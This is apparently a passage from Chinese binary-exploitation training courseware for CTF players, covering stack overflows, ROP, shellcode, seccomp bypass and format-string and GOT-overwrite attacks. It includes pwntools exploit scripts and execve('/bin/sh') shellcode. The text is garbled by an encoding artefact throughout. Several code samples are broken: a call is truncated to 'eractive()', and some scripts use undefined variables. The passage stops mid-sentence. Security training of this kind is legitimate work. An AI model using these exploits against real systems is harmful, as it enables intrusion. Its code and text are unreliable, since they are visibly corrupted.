




版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
小羽佳培訓(xùn)課件:全面掌握核心技能課程導(dǎo)覽1培訓(xùn)目標(biāo)與學(xué)習(xí)路徑本課程旨在培養(yǎng)學(xué)員的全面安全技能,從基礎(chǔ)知識(shí)到高級(jí)漏洞利用。學(xué)習(xí)路徑循序漸進(jìn),確保每位學(xué)員都能掌握關(guān)鍵概念和實(shí)戰(zhàn)技能。掌握基本安全概念與原理學(xué)習(xí)實(shí)際漏洞分析方法培養(yǎng)獨(dú)立解決安全問(wèn)題的能力建立安全防御思維模式2課程結(jié)構(gòu)與重點(diǎn)模塊課程分為八大章節(jié),涵蓋從環(huán)境配置到實(shí)戰(zhàn)演練的全過(guò)程。每個(gè)模塊都包含理論講解和實(shí)踐操作,確保學(xué)習(xí)效果?;A(chǔ)環(huán)境配置與工具準(zhǔn)備各類(lèi)漏洞原理與利用技術(shù)自動(dòng)化腳本開(kāi)發(fā)與應(yīng)用綜合案例分析與實(shí)戰(zhàn)演練3學(xué)習(xí)資源與環(huán)境準(zhǔn)備為確保最佳學(xué)習(xí)體驗(yàn),請(qǐng)?zhí)崆皽?zhǔn)備以下資源和環(huán)境。所有材料將通過(guò)在線平臺(tái)提供下載。虛擬機(jī)軟件(VirtualBox/VMware)Ubuntu16.04系統(tǒng)鏡像Python編程環(huán)境IDA與GDB調(diào)試工具第一章:基礎(chǔ)環(huán)境配置與工具準(zhǔn)備環(huán)境準(zhǔn)備配置適合安全分析的計(jì)算機(jī)環(huán)境,包括操作系統(tǒng)安裝與必要軟件部署。工具掌握熟悉各類(lèi)安全分析工具的基本操作,包括靜態(tài)分析與動(dòng)態(tài)調(diào)試工具?;A(chǔ)知識(shí)理解計(jì)算機(jī)系統(tǒng)底層原理,為后續(xù)漏洞分析打下堅(jiān)實(shí)基礎(chǔ)。Linux環(huán)境搭建與推薦虛擬機(jī)安裝(VirtualBox/VMware)選擇合適的虛擬化平臺(tái)是安全分析的第一步。VirtualBox作為開(kāi)源免費(fèi)軟件,提供了豐富的功能和良好的跨平臺(tái)支持;而VMware則具有更好的性能和兼容性,適合長(zhǎng)期專業(yè)使用。VirtualBox安裝步驟:訪問(wèn)官方網(wǎng)站下載最新版本,按照向?qū)瓿砂惭bVMware安裝方法:選擇WorkstationPro或Player版本,遵循安裝指引虛擬機(jī)配置建議:至少分配2GB內(nèi)存和20GB硬盤(pán)空間,啟用硬件虛擬化網(wǎng)絡(luò)設(shè)置:推薦使用NAT模式,方便訪問(wèn)外部網(wǎng)絡(luò)同時(shí)保持相對(duì)隔離Ubuntu16.04系統(tǒng)鏡像及配置Ubuntu16.04LTS是安全研究的理想選擇,穩(wěn)定性好且有大量安全工具支持。從官方渠道下載Ubuntu16.04LTS鏡像在虛擬機(jī)中創(chuàng)建新實(shí)例,選擇下載的ISO文件按照安裝向?qū)瓿上到y(tǒng)安裝,建議使用英文界面以減少兼容性問(wèn)題安裝后更新系統(tǒng):sudoaptupdate&&sudoaptupgrade共享文件夾設(shè)置,方便文件傳輸在主機(jī)和虛擬機(jī)之間建立文件共享,可以大大提高工作效率,尤其是在分析樣本和傳輸工具時(shí)。在VirtualBox中:安裝增強(qiáng)功能包(GuestAdditions)在設(shè)置中添加共享文件夾,設(shè)置為自動(dòng)掛載將用戶添加到vboxsf組:sudousermod-aGvboxsf$(whoami)在VMware中:安裝VMwareTools使用菜單中的共享文件夾選項(xiàng)進(jìn)行配置在Linux中通過(guò)/mnt/hgfs路徑訪問(wèn)共享內(nèi)容必備分析工具介紹IDA靜態(tài)分析簡(jiǎn)介IDA(InteractiveDisassembler)是最強(qiáng)大的反匯編和調(diào)試工具之一,廣泛應(yīng)用于惡意軟件分析和漏洞研究?;竟δ埽悍磪R編、偽代碼生成、交叉引用分析版本選擇:Free版本功能有限,Pro版本功能完整但需付費(fèi)常用快捷鍵:F5(生成偽代碼)、Tab(切換視圖)、N(重命名變量)圖形界面分析:通過(guò)函數(shù)調(diào)用圖快速理解程序結(jié)構(gòu)插件推薦:IDA_Signsrch、Keypatch、FindCrypt等擴(kuò)展功能使用IDA進(jìn)行靜態(tài)分析可以幫助您在不運(yùn)行程序的情況下理解程序結(jié)構(gòu)和潛在漏洞。GDB動(dòng)態(tài)調(diào)試及三大插件GDB是GNU調(diào)試器,是Linux下最常用的動(dòng)態(tài)分析工具,通過(guò)以下插件可大幅提升調(diào)試效率:PEDA(PythonExploitDevelopmentAssistance):彩色顯示寄存器和內(nèi)存信息命令:checksec、patterncreate、patternsearch安裝:gitclone/longld/peda.git~/pedaGEF(GDBEnhancedFeatures):更現(xiàn)代的界面,支持更多架構(gòu)強(qiáng)大的堆分析功能安裝:wget-O~/.gdbinit-gef.pyhttps://gef.readthedocs.io/en/master/scripts/gef.shPwndbg:專為漏洞利用設(shè)計(jì)的GDB擴(kuò)展堆分析、寄存器跟蹤和內(nèi)存可視化安裝:gitclone/pwndbg/pwndbgPythonpwntools庫(kù)快速入門(mén)pwntools是CTF競(jìng)賽和漏洞利用中最常用的Python庫(kù),提供了一套完整的工具集。安裝方法:pipinstallpwntools核心功能:進(jìn)程交互:process()、remote()匯編/反匯編:asm()、disasm()ROP鏈構(gòu)造:ROP()格式化字符串利用:FmtStr()ELF文件分析:ELF()基本用法示例:匯編語(yǔ)言基礎(chǔ)匯編與C語(yǔ)言的對(duì)應(yīng)關(guān)系理解高級(jí)語(yǔ)言與匯編代碼的對(duì)應(yīng)關(guān)系是安全分析的基礎(chǔ)。以下是一些常見(jiàn)C語(yǔ)言結(jié)構(gòu)在x86/x64匯編中的表現(xiàn)形式:C語(yǔ)言結(jié)構(gòu)x86/x64匯編表現(xiàn)函數(shù)調(diào)用call指令,參數(shù)通過(guò)?;蚣拇嫫鱾鬟fif-else條件cmp+條件跳轉(zhuǎn)(je,jne等)循環(huán)結(jié)構(gòu)條件比較+跳轉(zhuǎn)指令的組合變量訪問(wèn)通過(guò)寄存器或內(nèi)存地址訪問(wèn)數(shù)組操作基址+偏移的內(nèi)存訪問(wèn)模式掌握這些對(duì)應(yīng)關(guān)系,可以幫助您在閱讀反匯編代碼時(shí)快速理解程序邏輯。常用匯編指令解析以下是x86/x64架構(gòu)中最常見(jiàn)的匯編指令及其功能說(shuō)明:數(shù)據(jù)傳輸:mov,lea,push,pop,xchg算術(shù)運(yùn)算:add,sub,mul,div,inc,dec邏輯運(yùn)算:and,or,xor,not,shl,shr比較指令:cmp,test跳轉(zhuǎn)指令:jmp,je/jne,jg/jl,call,ret系統(tǒng)調(diào)用:syscall,int0x80特別需要注意的指令:lea:加載有效地址,常用于計(jì)算復(fù)雜地址或優(yōu)化乘法xorreg,reg:常見(jiàn)的寄存器清零方法call:函數(shù)調(diào)用,會(huì)自動(dòng)將返回地址壓棧ret:函數(shù)返回,彈出棧頂?shù)刂凡⑻D(zhuǎn)推薦學(xué)習(xí)資源王爽《匯編語(yǔ)言》是中文世界最經(jīng)典的匯編教材,適合初學(xué)者入門(mén)。書(shū)中以8086處理器為例,詳細(xì)介紹了匯編語(yǔ)言的基本概念、指令系統(tǒng)和編程技巧。雖然與現(xiàn)代x86/x64架構(gòu)有所不同,但基本原理是一致的。在線工具Godbolt在線編譯器(/)是一個(gè)強(qiáng)大的工具,可以實(shí)時(shí)查看不同編譯器將C/C++代碼轉(zhuǎn)換為匯編的結(jié)果。通過(guò)對(duì)比高級(jí)語(yǔ)言和生成的匯編代碼,可以快速理解編譯器的行為和優(yōu)化策略。這對(duì)于分析漏洞和理解程序行為非常有幫助。實(shí)踐建議第二章:棧溢出漏洞詳解棧溢出是最經(jīng)典且常見(jiàn)的內(nèi)存破壞漏洞類(lèi)型,也是理解內(nèi)存安全的基礎(chǔ)。本章將深入剖析棧溢出漏洞的原理、利用方法和防御措施,幫助您建立扎實(shí)的漏洞分析基礎(chǔ)。漏洞原理了解棧的基本結(jié)構(gòu)和工作原理,包括棧幀、局部變量和返回地址等關(guān)鍵概念。利用技術(shù)掌握從基礎(chǔ)棧溢出到高級(jí)ROP鏈構(gòu)造的完整利用技術(shù)體系。實(shí)戰(zhàn)演練通過(guò)實(shí)際案例分析和動(dòng)手實(shí)踐,鞏固理論知識(shí)并提升實(shí)戰(zhàn)能力。防御措施了解現(xiàn)代系統(tǒng)中的棧保護(hù)機(jī)制,如棧保護(hù)(Canary)、ASLR和NX等。棧溢出基礎(chǔ)案例覆蓋局部變量與返回地址棧溢出的基本原理是利用緩沖區(qū)邊界檢查不足,寫(xiě)入超出預(yù)期長(zhǎng)度的數(shù)據(jù),從而覆蓋棧上的其他內(nèi)容。最簡(jiǎn)單的棧溢出包括以下兩種情況:覆蓋局部變量:通過(guò)溢出修改程序的控制流標(biāo)志或關(guān)鍵數(shù)據(jù)覆蓋返回地址:控制程序執(zhí)行流,使其跳轉(zhuǎn)到攻擊者指定的位置以下是一個(gè)典型的存在棧溢出的C語(yǔ)言代碼示例:voidvulnerable_function(){charbuffer[64];gets(buffer);//危險(xiǎn)函數(shù),無(wú)邊界檢查}intmain(){vulnerable_function();return0;}在上述代碼中,gets函數(shù)沒(méi)有邊界檢查,攻擊者可以輸入超過(guò)64字節(jié)的數(shù)據(jù),覆蓋返回地址并控制程序流程。后門(mén)函數(shù)利用示例最簡(jiǎn)單的棧溢出利用是跳轉(zhuǎn)到程序中已有的"后門(mén)函數(shù)"。后門(mén)函數(shù)通常是程序中存在但正常情況下不會(huì)執(zhí)行的代碼段,例如:voidbackdoor(){system("/bin/sh");//打開(kāi)shell}voidvulnerable_function(){charbuffer[64];gets(buffer);}intmain(){vulnerable_function();return0;}利用步驟:使用IDA或GDB查找backdoor函數(shù)的地址構(gòu)造payload:填充物+backdoor地址填充物長(zhǎng)度=緩沖區(qū)大小+棧幀信息(通常是64+8字節(jié))利用Python腳本示例:frompwnimport*p=process('./vulnerable')backdoor_addr=0x401146#從IDA中獲取的地址payload=b'A'*72+p64(backdoor_addr)p.sendline(payload)eractive()ROP技術(shù)入門(mén)ROP(Return-OrientedProgramming)是一種高級(jí)棧溢出利用技術(shù),通過(guò)鏈接程序中已有的代碼片段(稱為gadgets)來(lái)執(zhí)行任意操作?;驹恚好總€(gè)gadget以ret指令結(jié)束,執(zhí)行后會(huì)從棧上彈出下一個(gè)地址并跳轉(zhuǎn),從而形成一個(gè)執(zhí)行鏈。參數(shù)控制在x64系統(tǒng)中,函數(shù)參數(shù)通過(guò)寄存器傳遞(rdi,rsi,rdx,rcx,r8,r9),構(gòu)造ROP鏈時(shí)需要找到設(shè)置這些寄存器的gadgets。常用gadget示例:poprdi;ret(設(shè)置第一個(gè)參數(shù))、poprsi;ret(設(shè)置第二個(gè)參數(shù))執(zhí)行系統(tǒng)命令通過(guò)ROP鏈調(diào)用system("/bin/sh")函數(shù),需要:找到system函數(shù)地址找到"/bin/sh"字符串地址或?qū)⑵鋵?xiě)入可讀寫(xiě)內(nèi)存進(jìn)階棧溢出技巧棧遷移與ROP鏈構(gòu)造當(dāng)緩沖區(qū)空間有限時(shí),可以使用棧遷移(StackPivot)技術(shù)將棧指針移動(dòng)到我們控制的更大空間,以構(gòu)建更復(fù)雜的ROP鏈。核心思想:修改RSP/ESP寄存器,使其指向我們控制的內(nèi)存區(qū)域常用gadget:leave;ret(相當(dāng)于movesp,ebp;popebp;ret)適用場(chǎng)景:緩沖區(qū)溢出空間不足以容納完整ROP鏈時(shí)棧遷移步驟:將偽造的棧幀數(shù)據(jù)放入可控內(nèi)存區(qū)域覆蓋原始棧上的EBP/RBP為偽造棧地址利用leave;retgadget完成棧遷移在偽造棧上構(gòu)造完整ROP鏈利用libc函數(shù)地址計(jì)算system調(diào)用現(xiàn)代系統(tǒng)通常啟用ASLR(地址空間布局隨機(jī)化),使得函數(shù)地址在每次運(yùn)行時(shí)都不同。繞過(guò)方法是利用GOT表泄露已加載的libc函數(shù)地址,然后計(jì)算system函數(shù)的偏移。libc中函數(shù)地址的關(guān)系是固定的,利用這一特性可以:泄露一個(gè)libc函數(shù)的實(shí)際地址(如puts,printf等)計(jì)算libc基地址=泄露地址-函數(shù)在libc中的偏移計(jì)算system地址=libc基地址+system在libc中的偏移計(jì)算"/bin/sh"字符串地址=libc基地址+字符串在libc中的偏移獲取偏移的方法:使用readelf-s/lib/x86_64-linux-gnu/libc.so.6|grep函數(shù)名使用pwntools的ELF工具:libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')實(shí)戰(zhàn)演練:覆蓋返回地址獲取shell以下是一個(gè)完整的棧溢出利用示例,結(jié)合了上述技術(shù):第三章:Shellcode編寫(xiě)與利用Shellcode是一段用于注入到目標(biāo)程序中執(zhí)行特定功能的機(jī)器碼,通常用于在成功利用漏洞后獲取控制權(quán)。本章將深入探討Shellcode的編寫(xiě)、優(yōu)化和部署技術(shù),幫助您掌握這一重要的漏洞利用工具。1基礎(chǔ)知識(shí)了解Shellcode的基本概念、類(lèi)型和工作原理,包括各種系統(tǒng)調(diào)用接口和參數(shù)傳遞方式。2編寫(xiě)技巧學(xué)習(xí)如何編寫(xiě)平臺(tái)特定的Shellcode,包括匯編代碼編寫(xiě)、機(jī)器碼生成和位置無(wú)關(guān)代碼設(shè)計(jì)。3優(yōu)化方法掌握Shellcode優(yōu)化技術(shù),如體積減小、規(guī)避特殊字符和繞過(guò)常見(jiàn)安全檢測(cè)。高級(jí)應(yīng)用探索Shellcode的高級(jí)應(yīng)用,如側(cè)信道技術(shù)、信息泄露和繞過(guò)安全機(jī)制。Shellcode基礎(chǔ)syscall調(diào)用實(shí)現(xiàn)shellShellcode最常見(jiàn)的目標(biāo)是獲取shell,這通常通過(guò)execve系統(tǒng)調(diào)用實(shí)現(xiàn)。在不同架構(gòu)上,系統(tǒng)調(diào)用的方式略有不同:x86架構(gòu):;execve("/bin/sh",0,0)shellcodeforx86xoreax,eax;清零eaxpusheax;字符串結(jié)束符'\0'push0x68732f2f;"hs//"push0x6e69622f;"nib/"movebx,esp;ebx指向"/bin/sh"xorecx,ecx;argv=NULLxoredx,edx;envp=NULLmoval,0xb;syscallnumberforexecveint0x80;觸發(fā)系統(tǒng)調(diào)用x86-64架構(gòu):;execve("/bin/sh",0,0)shellcodeforx86-64xorrax,rax;清零raxpushrax;字符串結(jié)束符'\0'movrdi,0x68732f6e69622fpushrdi;"/bin/sh"movrdi,rsp;rdi指向"/bin/sh"xorrsi,rsi;argv=NULLxorrdx,rdx;envp=NULLmoval,0x3b;syscallnumberforexecvesyscall;觸發(fā)系統(tǒng)調(diào)用Seccomp規(guī)則繞過(guò)技巧Seccomp(SecureComputingMode)是Linux內(nèi)核的一個(gè)安全機(jī)制,可以限制進(jìn)程可以使用的系統(tǒng)調(diào)用。在CTF競(jìng)賽中,經(jīng)常會(huì)遇到seccomp規(guī)則限制execve系統(tǒng)調(diào)用,此時(shí)需要使用替代方法:使用open+read+write系統(tǒng)調(diào)用讀取flag使用其他未被禁止的系統(tǒng)調(diào)用如execveat利用shellcode與程序交互,如讀寫(xiě)內(nèi)存、調(diào)用程序函數(shù)等示例:使用open+read+write讀取flag的shellcode;open("./flag",O_RDONLY)+read+writeshellcode;打開(kāi)文件xorrax,raxpushraxmovrdi,0x67616c662f2e;"./flag"pushrdimovrdi,rsp;filenamexorrsi,rsi;O_RDONLYmoval,2;syscall:opensyscall;讀取內(nèi)容movrdi,rax;fdmovrsi,rspsubrsi,0x100;緩沖區(qū)地址movrdx,0x100;讀取大小xorrax,rax;syscall:readsyscall;寫(xiě)入標(biāo)準(zhǔn)輸出movrdi,1;fd:stdoutmovrdx,rax;讀取的字節(jié)數(shù)xorrax,raxincrax;syscall:writesyscall可打印shellcode設(shè)計(jì)在某些場(chǎng)景下,輸入可能會(huì)被過(guò)濾,只允許可打印字符。設(shè)計(jì)可打印shellcode的方法包括:使用alpha-numericencoder:將shellcode編碼為只包含字母和數(shù)字的形式利用自修改代碼:使用可打印指令構(gòu)造一個(gè)解碼器,在運(yùn)行時(shí)生成真正的shellcode使用XOR編碼:通過(guò)一系列XOR操作解碼出原始shellcode推薦工具:使用pwntools的shellcraft模塊和encoder可以生成各種類(lèi)型的shellcode,包括可打印字符的shellcode:frompwnimport*context.arch='amd64'shellcode=shellcraft.sh()encoded=encoders.encoder.encode(asm(shellcode),avoid='\x00\n')print(hexdump(encoded))側(cè)信道攻擊與信息泄露側(cè)信道泄露原理側(cè)信道攻擊是通過(guò)分析程序執(zhí)行的非功能特性(如時(shí)間、內(nèi)存使用等)來(lái)獲取敏感信息的技術(shù)。在shellcode中,可以利用側(cè)信道來(lái)泄露無(wú)法直接讀取的信息,例如:時(shí)間側(cè)信道:根據(jù)操作執(zhí)行時(shí)間的不同來(lái)推斷信息內(nèi)存訪問(wèn)模式:通過(guò)觀察內(nèi)存訪問(wèn)觸發(fā)的行為差異獲取信息錯(cuò)誤響應(yīng):根據(jù)程序?qū)Σ煌斎氲腻e(cuò)誤響應(yīng)來(lái)區(qū)分信息利用側(cè)信道泄露flag在CTF比賽中,常見(jiàn)的側(cè)信道攻擊場(chǎng)景是通過(guò)逐字節(jié)猜測(cè)flag,并根據(jù)程序的響應(yīng)判斷猜測(cè)是否正確。示例shellcode實(shí)現(xiàn):;基于時(shí)間的側(cè)信道攻擊shellcodestart:movrdi,[flag_addr];加載flag地址moval,[known_prefix];已知的flag前綴movbl,[rdi];讀取flag的第一個(gè)字節(jié)cmpal,bl;比較jnewrong_guess;不匹配則跳轉(zhuǎn);匹配則執(zhí)行一個(gè)耗時(shí)操作movrcx,10000000;大循環(huán)次數(shù)delay_loop:decrcxjnzdelay_loopwrong_guess:;繼續(xù)處理下一個(gè)字節(jié)...Shellcode與環(huán)境交互高級(jí)shellcode可以與程序環(huán)境交互,例如:讀取和修改程序內(nèi)存調(diào)用程序中的函數(shù)與程序的標(biāo)準(zhǔn)輸入/輸出交互利用程序中的數(shù)據(jù)結(jié)構(gòu)這種交互式shellcode通常需要更復(fù)雜的設(shè)計(jì),但能夠?qū)崿F(xiàn)更強(qiáng)大的功能,特別是在繞過(guò)安全限制方面。實(shí)際應(yīng)用案例:某CTF比賽中,程序加載了flag但不直接顯示,需要編寫(xiě)shellcode逐字節(jié)猜測(cè)flag并通過(guò)時(shí)間差來(lái)判斷正確性。選手編寫(xiě)了一個(gè)循環(huán),每次猜測(cè)一個(gè)字符,如果猜對(duì)則執(zhí)行一個(gè)大循環(huán)導(dǎo)致明顯延遲,否則立即返回。通過(guò)測(cè)量響應(yīng)時(shí)間差異,最終成功還原出完整flag。信息泄露技術(shù)進(jìn)階在實(shí)際攻擊中,信息泄露是漏洞利用鏈中的關(guān)鍵一環(huán),特別是在存在ASLR等保護(hù)機(jī)制的情況下。常見(jiàn)的泄露目標(biāo)包括:程序基址:繞過(guò)PIE保護(hù)堆地址:用于堆利用棧地址:用于棧攻擊libc地址:用于計(jì)算system等函數(shù)位置shellcode可以通過(guò)讀取特定內(nèi)存區(qū)域并輸出內(nèi)容來(lái)實(shí)現(xiàn)這些泄露,為后續(xù)攻擊提供必要信息。第四章:格式化字符串漏洞格式化字符串漏洞是一種常見(jiàn)且強(qiáng)大的內(nèi)存泄露和任意寫(xiě)入漏洞,允許攻擊者在程序中讀取或修改任意內(nèi)存位置。本章將詳細(xì)介紹格式化字符串漏洞的原理、利用方法和實(shí)戰(zhàn)技巧?;A(chǔ)原理了解格式化函數(shù)的工作機(jī)制,格式說(shuō)明符的解析過(guò)程,以及為什么不正確處理用戶輸入會(huì)導(dǎo)致安全問(wèn)題。信息泄露學(xué)習(xí)如何利用%x、%p等格式說(shuō)明符讀取棧上的數(shù)據(jù),以及如何定位和泄露關(guān)鍵信息。內(nèi)存寫(xiě)入掌握使用%n格式說(shuō)明符進(jìn)行任意地址寫(xiě)入的技術(shù),以及如何精確控制寫(xiě)入的值。實(shí)際應(yīng)用通過(guò)實(shí)戰(zhàn)案例學(xué)習(xí)格式化字符串漏洞的完整利用流程,包括信息泄露、GOT表劫持和代碼執(zhí)行。格式化字符串漏洞在現(xiàn)代軟件中仍然廣泛存在,尤其是在處理用戶輸入的打印函數(shù)中。本章將幫助您全面理解這類(lèi)漏洞的原理和利用方法,為后續(xù)的漏洞分析和利用打下堅(jiān)實(shí)基礎(chǔ)。我們將從最基本的格式化函數(shù)原理開(kāi)始,逐步深入到高級(jí)利用技術(shù)和實(shí)戰(zhàn)案例分析。格式化字符串基礎(chǔ)printf的基本用法與漏洞原理格式化函數(shù)如printf、sprintf、fprintf等用于按照特定格式輸出數(shù)據(jù)。這些函數(shù)的第一個(gè)參數(shù)是格式化字符串,后續(xù)參數(shù)對(duì)應(yīng)字符串中的格式說(shuō)明符。常見(jiàn)格式說(shuō)明符:%d,%i:整數(shù)%u:無(wú)符號(hào)整數(shù)%x,%X:十六進(jìn)制整數(shù)%s:字符串%p:指針地址%n:將已輸出字符數(shù)寫(xiě)入指定地址漏洞產(chǎn)生的原因:當(dāng)格式化字符串可以被用戶控制,且格式說(shuō)明符數(shù)量多于提供的參數(shù)時(shí),程序會(huì)從棧上讀取額外數(shù)據(jù)作為"參數(shù)"。典型的漏洞代碼:voidvulnerable_function(char*user_input){printf(user_input);//危險(xiǎn)!直接使用用戶輸入作為格式字符串}//安全的做法voidsafe_function(char*user_input){printf("%s",user_input);//將用戶輸入作為參數(shù)傳遞}棧變量泄露與修改技巧通過(guò)格式化字符串漏洞,可以實(shí)現(xiàn)以下操作:1.讀取棧上數(shù)據(jù)使用%x或%p格式說(shuō)明符可以讀取棧上的值。通過(guò)指定參數(shù)位置,可以精確讀取特定位置的數(shù)據(jù):直接使用連續(xù)的%x:printf("%x%x%x%x")使用參數(shù)索引:printf("%6$x")-讀取第6個(gè)參數(shù)位置的值定位格式字符串在棧上的位置:使用唯一標(biāo)識(shí)符:printf("AAAA.%x.%x.%x.%x")觀察輸出中何時(shí)出現(xiàn)0x41414141("AAAA"的十六進(jìn)制表示)2.任意地址讀取將目標(biāo)地址放在棧上,然后使用%s讀取該地址指向的內(nèi)容://假設(shè)目標(biāo)地址為0x8049794charpayload[100];*(int*)(&payload[0])=0x8049794;sprintf(payload+4,"%s");printf(payload);//將讀取0x8049794處的字符串3.任意地址寫(xiě)入%n格式說(shuō)明符會(huì)將已經(jīng)輸出的字符數(shù)量寫(xiě)入指定地址。通過(guò)控制輸出字符數(shù)量,可以寫(xiě)入任意值://寫(xiě)入0x41414141到地址0x8049794charpayload[100];*(int*)(&payload[0])=0x8049794;sprintf(payload+4,"%16930112c%n");//0x41414141=1094795585printf(payload);格式化字符串高級(jí)利用1目標(biāo)分析確定漏洞位置和可利用條件,分析程序保護(hù)機(jī)制和可用函數(shù)。2信息收集使用格式化字符串泄露關(guān)鍵地址,包括棧地址、程序基址和libc地址。3構(gòu)建漏洞利用設(shè)計(jì)payload修改關(guān)鍵內(nèi)存區(qū)域,如GOT表或函數(shù)指針,重定向程序流程。4獲取控制權(quán)觸發(fā)修改后的函數(shù)調(diào)用,獲取shell或執(zhí)行其他操作。修改返回地址指向后門(mén)函數(shù)格式化字符串漏洞可以用來(lái)修改棧上保存的返回地址,使程序跳轉(zhuǎn)到指定位置:確定格式化字符串漏洞位置計(jì)算返回地址在棧上的偏移使用%n寫(xiě)入后門(mén)函數(shù)地址示例代碼:frompwnimport*p=process('./vulnerable')backdoor_addr=0x4011ab#后門(mén)函數(shù)地址#確定格式字符串在棧上位置p.sendline(b'AAAA%p.%p.%p.%p.%p.%p.%p.%p')response=p.recvline()(f"Response:{response}")#假設(shè)返回地址在第7個(gè)參數(shù)位置ret_addr_offset=7#構(gòu)造寫(xiě)入payloadpayload=p32(target_addr)#要寫(xiě)入的地址payload+=f'%{backdoor_addr}c%{ret_addr_offset}$n'.encode()p.sendline(payload)eractive()這種技術(shù)在現(xiàn)代系統(tǒng)中可能受到棧保護(hù)機(jī)制如Canary的影響,但在某些特定條件下仍然可用。實(shí)戰(zhàn)案例分析與代碼演示以下是一個(gè)更完整的格式化字符串漏洞利用案例,目標(biāo)是劫持GOT表中的函數(shù)指針:frompwnimport*context.log_level='info'elf=ELF('./vulnerable')p=process('./vulnerable')#1.泄露程序基址(繞過(guò)PIE)p.sendlineafter(b'>',b'1')#選擇泄露功能payload=b'%3$p.%31$p'#假設(shè)這些偏移包含關(guān)鍵信息p.sendline(payload)leak=p.recvline().strip().split(b'.')code_leak=int(leak[0],16)code_base=code_leak-0x1240#減去已知偏移得到基址log.success(f"Codebase:{hex(code_base)}")#2.計(jì)算目標(biāo)函數(shù)的GOT表地址got_puts=code_base+elf.got['puts']backdoor=code_base+0x11ab#后門(mén)函數(shù)偏移#3.修改GOT表p.sendlineafter(b'>',b'2')#選擇寫(xiě)入功能#使用多字節(jié)寫(xiě)入技術(shù)(寫(xiě)入4字節(jié))payload=fmtstr_payload(8,{got_puts:backdoor})p.sendline(payload)#4.觸發(fā)被劫持的函數(shù)p.sendlineafter(b'>',b'3')#觸發(fā)puts調(diào)用eractive()上述代碼展示了一個(gè)完整的格式化字符串漏洞利用過(guò)程,包括信息泄露、地址計(jì)算和GOT表劫持。在實(shí)際CTF比賽中,這是一種常見(jiàn)且有效的攻擊技術(shù)。第五章:動(dòng)態(tài)鏈接與GOT表攻擊動(dòng)態(tài)鏈接是現(xiàn)代程序優(yōu)化資源使用的重要機(jī)制,但同時(shí)也引入了可能被攻擊的表結(jié)構(gòu)。本章將深入探討動(dòng)態(tài)鏈接的工作原理,以及如何利用GOT(全局偏移表)進(jìn)行攻擊,實(shí)現(xiàn)函數(shù)劫持和代碼執(zhí)行。動(dòng)態(tài)鏈接基礎(chǔ)了解Linux程序加載過(guò)程和動(dòng)態(tài)鏈接機(jī)制的基本工作原理。GOT/PLT結(jié)構(gòu)深入研究全局偏移表(GOT)和過(guò)程鏈接表(PLT)的內(nèi)存布局和訪問(wèn)方式。地址泄露技術(shù)學(xué)習(xí)如何利用GOT表泄露函數(shù)地址,繞過(guò)ASLR保護(hù)機(jī)制。表項(xiàng)劫持掌握修改GOT表項(xiàng)的技術(shù),重定向函數(shù)調(diào)用實(shí)現(xiàn)代碼執(zhí)行。獲取系統(tǒng)控制權(quán)結(jié)合其他漏洞技術(shù),構(gòu)建完整的漏洞利用鏈,獲取系統(tǒng)shell。本章內(nèi)容對(duì)于理解現(xiàn)代漏洞利用技術(shù)至關(guān)重要,尤其是在ASLR等保護(hù)機(jī)制廣泛應(yīng)用的情況下。通過(guò)學(xué)習(xí)動(dòng)態(tài)鏈接的底層原理和GOT表攻擊技術(shù),您將能夠更有效地分析和利用各類(lèi)內(nèi)存破壞漏洞。動(dòng)態(tài)鏈接機(jī)制解析PLT與GOT表工作原理動(dòng)態(tài)鏈接允許程序在運(yùn)行時(shí)加載外部庫(kù)函數(shù),而不是在編譯時(shí)靜態(tài)鏈接。這種機(jī)制通過(guò)兩個(gè)重要的表結(jié)構(gòu)實(shí)現(xiàn):PLT和GOT。PLT(ProcedureLinkageTable)過(guò)程鏈接表包含調(diào)用外部函數(shù)的跳轉(zhuǎn)代碼,主要特點(diǎn):位于程序的.plt段每個(gè)外部函數(shù)對(duì)應(yīng)一個(gè)PLT條目包含跳轉(zhuǎn)到實(shí)際函數(shù)地址的代碼第一次調(diào)用時(shí)會(huì)觸發(fā)動(dòng)態(tài)鏈接PLT條目通常如下所示:puts@plt:jmp[GOT+puts偏移]#跳轉(zhuǎn)到GOT表中存儲(chǔ)的地址pushID#如果GOT未初始化,推送函數(shù)IDjmp_dl_runtime_resolve#跳轉(zhuǎn)到動(dòng)態(tài)鏈接器解析函數(shù)GOT(GlobalOffsetTable)全局偏移表存儲(chǔ)外部函數(shù)的實(shí)際地址,主要特點(diǎn):位于程序的.got.plt段每個(gè)外部函數(shù)對(duì)應(yīng)一個(gè)GOT條目初始指向PLT中的下一條指令函數(shù)第一次調(diào)用后,更新為實(shí)際地址GOT表是可寫(xiě)的(關(guān)鍵漏洞點(diǎn))動(dòng)態(tài)鏈接過(guò)程動(dòng)態(tài)鏈接的完整流程如下:程序調(diào)用外部函數(shù)(如puts)跳轉(zhuǎn)到puts@pltPLT代碼跳轉(zhuǎn)到GOT表對(duì)應(yīng)條目如果是首次調(diào)用:GOT條目指回PLT的下一條指令PLT調(diào)用動(dòng)態(tài)鏈接器_dl_runtime_resolve動(dòng)態(tài)鏈接器解析函數(shù)實(shí)際地址更新GOT表中的地址跳轉(zhuǎn)到實(shí)際函數(shù)非首次調(diào)用:GOT條目已包含實(shí)際地址直接跳轉(zhuǎn)到實(shí)際函數(shù)利用GOT表泄露libc地址GOT表攻擊的第一步通常是泄露libc函數(shù)的實(shí)際地址,從而計(jì)算libc基地址:找到已解析的GOT表項(xiàng)(如puts,printf等)讀取GOT表中存儲(chǔ)的地址(通過(guò)格式化字符串或信息泄露漏洞)計(jì)算偏移得到libc基地址示例代碼:frompwnimport*elf=ELF('./vulnerable')p=process('./vulnerable')#泄露puts函數(shù)的GOT表內(nèi)容puts_got=elf.got['puts']payload=f'%{puts_got}$s'.encode()#格式化字符串讀取地址內(nèi)容#或使用其他泄露方法#如果有直接泄露功能:payload=p64(puts_got)p.sendline(payload)leak=p.recvline()#解析泄露的地址puts_addr=u64(leak.ljust(8,b'\x00'))log.success(f"Leakedputs@GLIBC:{hex(puts_addr)}")#計(jì)算libc基地址libc_base=puts_addr-libc.symbols['puts']log.success(f"Libcbase:{hex(libc_base)}")GOT表覆蓋攻擊信息收集與分析確定目標(biāo)程序中可用的函數(shù)和GOT表位置,分析程序流程找出合適的攻擊點(diǎn)。使用readelf-r或objdump-R查看重定位表分析程序調(diào)用了哪些外部函數(shù)確定哪些函數(shù